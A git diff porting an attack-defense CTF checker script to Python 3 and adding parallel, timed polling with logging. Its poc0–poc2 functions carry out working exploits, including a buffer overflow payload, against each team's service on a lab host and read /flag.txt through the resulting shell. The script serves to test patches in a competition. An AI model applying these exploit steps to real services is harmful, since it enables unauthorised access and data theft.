diff --git a/checker.py b/checker.py
index 1afa257..de888cb 100644
--- a/checker.py
+++ b/checker.py
@@ -1,9 +1,14 @@
-#! /usr/bin/env python2
+#! /usr/bin/env python3
 # from pwn import context, remote
 from pwn import remote, context
-from multiprocessing import pool
-context.log_level = "error"
+from multiprocessing import Pool
+from time import sleep
+import logging
+import os
 
+context.log_level = logging.ERROR
+
+INTERVAL = 60
 HOST = "192.168.2.20"
 TOTAL_TEAMS = 10
 FORMAT = "SlashRootCTF"
@@ -13,7 +18,7 @@ def poc0(host, port):
     with remote(host, port) as p:
         p.recvuntil(">")
         p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
-        msg = p.recvuntil(">")
+        msg = p.recvuntil(">").decode('utf-8')
         # print(msg)
         if "young" in msg:
             p.sendline("y")
@@ -23,11 +28,11 @@ def poc0(host, port):
             p.sendline("4")
             p.recvuntil(">")
             p.sendline("y")
-            for _ in xrange(10):
+            for _ in range(10):
                 p.recvuntil(">")
                 p.sendline("99")
             p.sendline("cat /flag.txt")
-            flag = p.recvuntil("}")
+            flag = p.recvuntil("}").decode('utf-8')
             # print flag
             if FORMAT in flag:
                 return True
@@ -48,7 +53,7 @@ def poc1(host, port):
             p.sendline("3")
             p.recvuntil(">")
             p.sendline("0")
-            if "Who" in p.recvuntil(">"):
+            if "Who" in p.recvuntil(">").decode('utf-8'):
                 return False
             p.sendline("y")
             p.recvuntil(">")
@@ -61,7 +66,7 @@ def poc1(host, port):
             p.recvuntil(">")
             p.sendline("99")
         p.sendline("cat /flag.txt")
-        flag = p.recvuntil("}")
+        flag = p.recvuntil("}").decode('utf-8')
         if FORMAT in flag:
             return True
         else:
@@ -76,17 +81,17 @@ def poc2(host, port):
         p.sendline("y")
         p.recvuntil(">")
         p.sendline("6")
-        if "Lv: 1000000" in p.recvuntil(">"):
+        if "Lv: 1000000" in p.recvuntil(">").decode('utf-8'):
             p.sendline("2")
             p.recvuntil(">")
             p.sendline("4")
             p.recvuntil(">")
             p.sendline("y")
-            for _ in xrange(10):
+            for _ in range(10):
                 p.recvuntil(">")
                 p.sendline("99")
             p.sendline("cat /flag.txt")
-            flag = p.recvuntil("}")
+            flag = p.recvuntil("}").decode('utf-8')
             if FORMAT in flag:
                 return True
             else:
@@ -95,9 +100,50 @@ def poc2(host, port):
             return False
 
 
+def poc(host, port):
+    with remote(host, port) as p:
+        msg = p.recvuntil(">").decode('utf-8')
+        if "Who" in msg:
+            p.sendline("Leo")
+            msg = p.recvuntil(">").decode('utf-8')
+            if "Leo" in msg:
+                p.sendline("Y")
+                msg = p.recvuntil(">").decode('utf-8')
+                if "What" in msg:
+                    return True
+        return False
+
+
+def check(team):
+    port = (60004 + (team*100))
+    r = poc(HOST, port)
+    r0 = poc0(HOST, port)
+    r1 = poc1(HOST, port)
+    r2 = poc2(HOST, port)
+    return "Team [{:02d}] {} {} {} {}".format(team, r, r0, r1, r2)
+
+
+def init_logging(logFileName: str, debug: bool = False):
+    logFormatter = logging.Formatter(
+        fmt="[%(asctime)s][%(levelname)s] %(message)s",
+        datefmt='%d-%b-%y %H:%M:%S')
+
+    rootLogger = logging.getLogger("checker")
+
+    consoleHandler = logging.StreamHandler()
+    consoleHandler.setFormatter(logFormatter)
+    rootLogger.addHandler(consoleHandler)
+
+    rootLogger.setLevel(logging.DEBUG if debug else logging.INFO)
+
+    return rootLogger
+
+
 if __name__ == "__main__":
-    for i in range(1, TOTAL_TEAMS+1):
-        r0 = poc0(HOST, (60004 + (i*100)))
-        r1 = poc1(HOST, (60004 + (i*100)))
-        r2 = poc2(HOST, (60004 + (i*100)))
-        print("Team [%s] %s %s %s" % (i, r0, r1, r2))
+    checker_logger = init_logging("checker.log")
+    while True:
+        with Pool(TOTAL_TEAMS) as p:
+            results = p.map(check, range(1, TOTAL_TEAMS+1))
+        for result in results:
+            checker_logger.info(result)
+        sleep(INTERVAL)